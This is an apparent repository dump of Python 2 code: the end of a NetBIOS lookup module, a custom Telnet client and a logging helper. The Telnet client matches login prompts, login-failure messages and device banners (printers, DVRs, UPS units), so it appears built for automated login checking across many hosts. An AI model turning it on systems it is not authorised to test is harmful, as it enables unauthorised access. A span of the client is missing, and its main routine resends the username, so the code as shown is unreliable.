remote', ERRCLASS_OS, ex[0] ) 935 | 936 | return data 937 | 938 | def __read(self, timeout = None): 939 | data = self.read_function(4, timeout) 940 | type, flags, length = unpack('>ccH', data) 941 | if ord(type) == NETBIOS_SESSION_MESSAGE: 942 | length |= ord(flags) << 16 943 | else: 944 | if ord(flags) & 0x01: 945 | length |= 0x10000 946 | data2 = self.read_function(length, timeout) 947 | 948 | return data + data2 949 | 950 | ERRCLASS_QUERY = 0x00 951 | ERRCLASS_SESSION = 0xf0 952 | ERRCLASS_OS = 0xff 953 | 954 | QUERY_ERRORS = { 0x01: 'Request format error. Please file a bug report.', 955 | 0x02: 'Internal server error', 956 | 0x03: 'Name does not exist', 957 | 0x04: 'Unsupported request', 958 | 0x05: 'Request refused' 959 | } 960 | 961 | SESSION_ERRORS = { 0x80: 'Not listening on called name', 962 | 0x81: 'Not listening for calling name', 963 | 0x82: 'Called name not present', 964 | 0x83: 'Sufficient resources', 965 | 0x8f: 'Unspecified error' 966 | } 967 | 968 | def main(): 969 | def get_netbios_host_by_name(name): 970 | n = NetBIOS() 971 | n.set_broadcastaddr('255.255.255.255') # To avoid use "" in socket 972 | for qtype in (TYPE_WORKSTATION, TYPE_CLIENT, TYPE_SERVER, TYPE_DOMAIN_MASTER, TYPE_DOMAIN_CONTROLLER): 973 | try: 974 | addrs = n.gethostbyname(name, qtype = qtype).get_addr_entries() 975 | except NetBIOSTimeout: 976 | continue 977 | else: 978 | return addrs 979 | raise Exception("Host not found") 980 | 981 | 982 | n = get_netbios_host_by_name("some-host") 983 | print n 984 | 985 | if __name__ == '__main__': 986 | main() 987 | -------------------------------------------------------------------------------- /itelnet.py: -------------------------------------------------------------------------------- 1 | r"""TELNET client class. 2 | Based on RFC 854: TELNET Protocol Specification, by J. Postel and 3 | J. Reynolds 4 | """ 5 | 6 | # Imported modules 7 | import re 8 | import errno 9 | import sys 10 | import socket 11 | import time 12 | import select 13 | 14 | __all__ = ["Telnet"] 15 | 16 | # Tunable parameters 17 | DEBUGLEVEL = 0 18 | # Telnet protocol defaults 19 | TELNET_PORT = 23 20 | TELNET_CONN_TIMEOUT = 6.0 21 | TELNET_READ_TIMEOUT = 6.0 22 | 23 | # Telnet protocol characters (don't change) 24 | IAC = chr(255) # "Interpret As Command" 25 | DONT = chr(254) 26 | DO = chr(253) 27 | WONT = chr(252) 28 | WILL = chr(251) 29 | SE = chr(240) # Subnegotiation End 30 | SB = chr(250) # Subnegotiation Begin 31 | theNULL = chr(0) 32 | ECHO = chr(1) # echo 33 | SGA = chr(3) 34 | STATUS = chr(5) # give status 35 | TTYPE = chr(24) # terminal type 36 | NAWS = chr(31) # window size 37 | TSPEED = chr(32) # terminal speed 38 | LFLOW = chr(33) # remote flow control 39 | LINEMODE = chr(34) # Linemode option 40 | XDISPLOC = chr(35) # X Display Location 41 | AUTHENTICATION = chr(37) # Authenticate 42 | NEWENV = chr(39) # New - Environment variables 43 | 44 | class Telnet: 45 | 46 | re_login = re.compile(r'\b(username|login|user|User Name)\s*:', re.I) 47 | re_password = re.compile(r'\b(password|passcode|passwd)\s*:', re.I) 48 | re_shell = re.compile(r'([^\r\n]*[>%\$#]|\b[A-Z]:\\\\)\s*$') 49 | #"\x1b[35m# \x1b[0m" 50 | re_ok = re.compile('Telnet client was connected') 51 | re_failed = re.compile('|'.join( 52 | ('Authentication fail', 53 | 'Login invalid', 54 | 'Login incorrect', 55 | 'Bad Username' 56 | 'Bad password', 57 | 'is incorrect', 58 | 'is rejected', 59 | 'invalid login', 60 | 'Access denied', 61 | '% Login failed', 62 | 'is invalid', 63 | 'Please retry', 64 | 'password fail', 65 | 'not exist', 66 | 'Authentication fail', 67 | 'try later', 68 | 'Login failed', 69 | 'Invalid domain', 70 | ) 71 | ), re.I) 72 | re_ignore = re.compile('|'.join( 73 | ('Polycom Command Shell', 74 | 'Polycom RMX', 75 | r'/>\s*Version:', 76 | 'Model name', 77 | 'Vcom3232', 78 | 'UPS SNMP Agent', 79 | 'HP JetDirect', 80 | 'telnet_debug', 81 | 'your choice:', 82 | 'Enter Choice>', 83 | r'Type "help or \?" for information', 84 | 'RICOH Maintenance', 85 | 'SHARP CORPORATION', 86 | r'HTTP/\d\.\d', 87 | 'psh running', 88 | 'APPFS Ver', 89 | 'WebPower Configuration', 90 | 'Selection:', 91 | 'PrintServer', 92 | 'KYOCERA', 93 | 'NetDVRDVS:', 94 | 'Type ', 95 | 'input hostname', 96 | 'DMPS3-300-C Console', 97 | 'CP3 Console', 98 | ) 99 | ), re.I) 100 | 101 | def __init__(self, host=None, port=TELNET_PORT, 102 | timeout=TELNET_CONN_TIMEOUT): 103 | """Constructor. 104 | """ 105 | self.debuglevel = DEBUGLEVEL 106 | self.host = host 107 | self.port = port 108 | self.timeout = timeout 109 | self.waiting = 0 110 | self.sock = None 111 | self.rawq = '' 112 | self.irawq = 0 113 | self.cookedq = '' 114 | self.eof = False 115 | self.iacseq = '' # Buffer for IAC sequence. 116 | self.sb = 0 # flag for SB and SE sequence. 117 | self.env = None 118 | self.sbdataq = '' 119 | 120 | if host is not None: 121 | self.open(host, port, timeout) 122 | 123 | def open(self, host, port=TELNET_PORT, timeout=TELNET_CONN_TIMEOUT): 124 | self.eof = False 125 | self.host = host 126 | self.port = port 127 | self.timeout = timeout 128 | self.sock = socket.create_connection((host, port), timeout) 129 | 130 | def __del__(self): 131 | self.close() 132 | 133 | def msg(self, msg, *args): 134 | if self.debuglevel > 0: 135 | print 'Telnet(%s,%s):' % (self.host, self.port), 136 | if args: 137 | print msg % args 138 | else: 139 | print msg 140 | 141 | def set_debuglevel(self, debuglevel): 142 | self.debuglevel = debuglevel 143 | 144 | def close(self): 145 | if self.sock: 146 | self.sock.close() 147 | self.sock = 0 148 | self.eof = True 149 | self.iacseq = '' 150 | self.sb = 0 151 | 152 | def read_some(self, timeout=3.0, min_bytes=9): 153 | self.sock.settimeout(0.8) 154 | self.negotiate() 155 | start = time.time() 156 | lastgood = start 157 | elapsed = 0 158 | #print '%.2f %d bytes' % (elapsed, len(self.cookedq)) 159 | while not self.eof and elapsed0: 217 | return 'SHELL','#' 218 | return 'OTHER', buf 219 | 220 | def iseof(self): 221 | return self.eof 222 | 223 | def write(self, buffer): 224 | """Write a string to the socket, doubling any IAC characters. 225 | Can block if the connection is blocked. May raise 226 | socket.error if the connection is closed. 227 | """ 228 | if IAC in buffer: 229 | buffer = buffer.replace(IAC, IAC+IAC) 230 | self.msg("send %r", buffer) 231 | self.sock.sendall(buffer) 232 | 233 | def negotiate(self): 234 | data = IAC+DO+SGA+IAC+WILL+TTYPE+IAC+WILL+NAWS+IAC+WONT+TSPEED+IAC+WONT+LFLOW+IAC+WONT+LINEMODE+IAC+WILL+NEWENV+IAC+DO+STATUS 235 | try: 236 | self.sock.sendall(data) 237 | self.fill_rawq() 238 | return 1 239 | except socket.timeout: 240 | #self.msg('[Telnet] negotiate timeout') 241 | return 0 242 | except Exception as e: 243 | self.eof = True 244 | #self.msg('[Telnet] negotiate: %s', str(e)) 245 | return -1 246 | 247 | def option_callback(self, cmd, opt): 248 | data = '' 249 | if cmd in (DO,WILL): 250 | if opt==TTYPE: 251 | data += IAC+SB+TTYPE+theNULL+'LINUX'+IAC+SE 252 | if self.env: 253 | data = IAC+SB+NEWENV+chr(3)+self.env+IAC+SE 254 | #self.msg('[Telnet] send: %r', data ) 255 | elif opt==NAWS: 256 | data = IAC+SB+NAWS+theNULL+chr(80)+theNULL+chr(24)+IAC+SE 257 | #self.msg('[Telnet] send: %s', "IAC+SB+NAWS+theNULL+chr(80)+theNULL+chr(24)+IAC+SE" ) 258 | elif opt==NEWENV: 259 | if not self.env: 260 | data = IAC+SB+NEWENV+theNULL+IAC+SE 261 | #self.msg('[Telnet] send: %r', data ) 262 | elif opt==TSPEED: 263 | data = IAC+SB+TSPEED+'38400,38400'+IAC+SE 264 | #self.msg('[Telnet] send: %r', data ) 265 | elif opt==ECHO and cmd==WILL: 266 | data = IAC + DO + ECHO 267 | #self.msg('[Telnet] send: IAC + DO + ECHO' ) 268 | elif opt==SGA: 269 | #self.msg('[Telnet] recv: IAC %d SGA' , ord(cmd) ) 270 | pass 271 | elif cmd==DO: 272 | data = IAC + WONT + opt 273 | #self.msg('[Telnet] send: IAC + DONT + %d', ord(opt) ) 274 | else: 275 | data = IAC + WONT + opt 276 | #self.msg('[Telnet] send: IAC + WONT + %d', ord(opt) ) 277 | else: 278 | #self.msg('[Telnet] recv: IAC %d %d', ord(cmd), ord(opt) ) 279 | pass 280 | if data: 281 | self.sock.sendall(data) 282 | 283 | 284 | def process_rawq(self): 285 | buf = ['', ''] 286 | try: 287 | while self.rawq: 288 | c = self.rawq_getchar() 289 | if c==None: 290 | break 291 | if not self.iacseq: 292 | if c == theNULL: 293 | continue 294 | if c == "\021": 295 | continue 296 | if c != IAC: 297 | buf[self.sb] = buf[self.sb] + c 298 | continue 299 | else: 300 | self.iacseq += c 301 | elif len(self.iacseq) == 1: 302 | # 'IAC: IAC CMD [OPTION only for WILL/WONT/DO/DONT]' 303 | if c in (DO, DONT, WILL, WONT): 304 | self.iacseq += c 305 | continue 306 | 307 | self.iacseq = '' 308 | if c == IAC: 309 | buf[self.sb] = buf[self.sb] + c 310 | else: 311 | if c == SB: # SB ... SE start. 312 | self.sb = 1 313 | self.sbdataq = '' 314 | elif c == SE: 315 | self.sb = 0 316 | self.sbdataq = self.sbdataq +buf[1] 317 | if self.sbdataq[0]==TTYPE: 318 | self.option_callback(DO, self.sbdataq[0]) 319 | elif self.sbdataq[0]==NEWENV: 320 | self.env = self.sbdataq[2:-2] 321 | elif self.sbdataq[0]==TSPEED: 322 | self.option_callback(DO, self.sbdataq[0]) 323 | buf[1] = '' 324 | # We can't offer automatic processing of 325 | # suboptions. Alas, we should not get any 326 | # unless we did a WILL/DO before. 327 | else: 328 | #self.msg('IAC %d not recognized' % ord(c)) 329 | pass 330 | elif len(self.iacseq) == 2: 331 | cmd = self.iacseq[1] 332 | self.iacseq = '' 333 | opt = c 334 | if cmd in (DO, DONT): 335 | #self.msg('IAC %s %d',cmd == DO and 'DO' or 'DONT', ord(opt)) 336 | self.option_callback(cmd, opt) 337 | #self.sock.sendall(IAC + WONT + opt) 338 | elif cmd in (WILL, WONT): 339 | #self.msg('IAC %s %d',cmd == WILL and 'WILL' or 'WONT', ord(opt)) 340 | self.option_callback(cmd, opt) 341 | #self.sock.sendall(IAC + DONT + opt) 342 | except EOFError: # raised by self.rawq_getchar() 343 | self.iacseq = '' # Reset on EOF 344 | self.sb = 0 345 | pass 346 | except Exception as e: #sendall error 347 | #self.msg('[Telnet] error2: %s', str(e)) 348 | self.eof = True 349 | pass 350 | self.cookedq = self.cookedq + buf[0] 351 | self.sbdataq = self.sbdataq + buf[1] 352 | 353 | def rawq_getchar(self): 354 | if not self.rawq: 355 | try: 356 | self.fill_rawq() 357 | except socket.timeout: #timeout 358 | return None 359 | except Exception as e: #other unknow error 360 | self.eof = True 361 | #self.msg('[Telnet] error3: %s', str(e)) 362 | if self.eof: 363 | raise EOFError 364 | c = self.rawq[self.irawq] 365 | self.irawq = self.irawq + 1 366 | if self.irawq >= len(self.rawq): 367 | self.rawq = '' 368 | self.irawq = 0 369 | return c 370 | 371 | def fill_rawq(self): 372 | if self.irawq >= len(self.rawq): 373 | self.rawq = '' 374 | self.irawq = 0 375 | # The buffer size should be fairly small so as to avoid quadratic 376 | # behavior in process_rawq() above 377 | self.waiting = 1 378 | buf = self.sock.recv(50) 379 | self.waiting = 0 380 | #self.msg("recv %r", buf) 381 | self.eof = (not buf) 382 | self.rawq = self.rawq + buf 383 | 384 | 385 | def sock_avail(self): 386 | """Test whether data is available on the socket.""" 387 | return select.select([self], [], [], 0) == ([self], [], []) 388 | 389 | 390 | if __name__ == '__main__': 391 | tn = Telnet(sys.argv[1],int(sys.argv[2])) 392 | banner = tn.read_some() 393 | ftype,text = tn.parse_banner(banner) 394 | print '%r' % (banner) 395 | print '%s,%r' % (ftype, text) 396 | if sys.argv[3]: 397 | tn.write(sys.argv[3]+'\r\n') 398 | response = tn.read_some() 399 | ftype,text = tn.parse_auth(response) 400 | print '%r' % (response) 401 | print '%s,%r' % (ftype, text) 402 | if sys.argv[4]: 403 | tn.write(sys.argv[3]+'\r\n') 404 | response = tn.read_some(15) 405 | ftype,text = tn.parse_auth(response) 406 | print '%r' % (response) 407 | print '%s,%r' % (ftype, text) 408 | tn.close() 409 | -------------------------------------------------------------------------------- /xutils.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # coding=utf-8 3 | 4 | import logging 5 | 6 | _loggingHandler = None 7 | def initLogger(logfile, level=logging.INFO): 8 | global _loggingHandler 9 | logger = logging.getLogger() 10 | hdlr = logging.FileHandler(logfile) 11 | formatter = logging.Formatter('%(asctime)s %(levelname)s %(message)s') 12 | hdlr.setFormatter(formatter) 13 | logger.addHandler(hdlr) 14 | logger.setLevel(level) 15 | _loggingHandler = hdlr 16 | return logger 17 | 18 | def closeLogger(): 19 | global _loggingHandler 20 | if _loggingHandler: 21 | logger = logging.getLogger() 22 | logger.removeHandler(_loggingHandler) 23 | del _loggingHandler 24 | _loggingHandler = None 25 | 26 | def encode_utf8(txt): 27 | if not txt: 28 | return '' 29 | otxt = '' 30 | try: 31 | otxt = txt.decode('gbk').encode('utf-8') 32 | except: 33 | try: 34 | otxt = txt.decode('utf-8').encode('utf-8') 35 | except: 36 | try: 37 | otxt = txt.encode('utf-8') 38 | except: 39 | otxt = '%r' % (txt) 40 | return otxt 41 | 42 | --------------------------------------------------------------------------------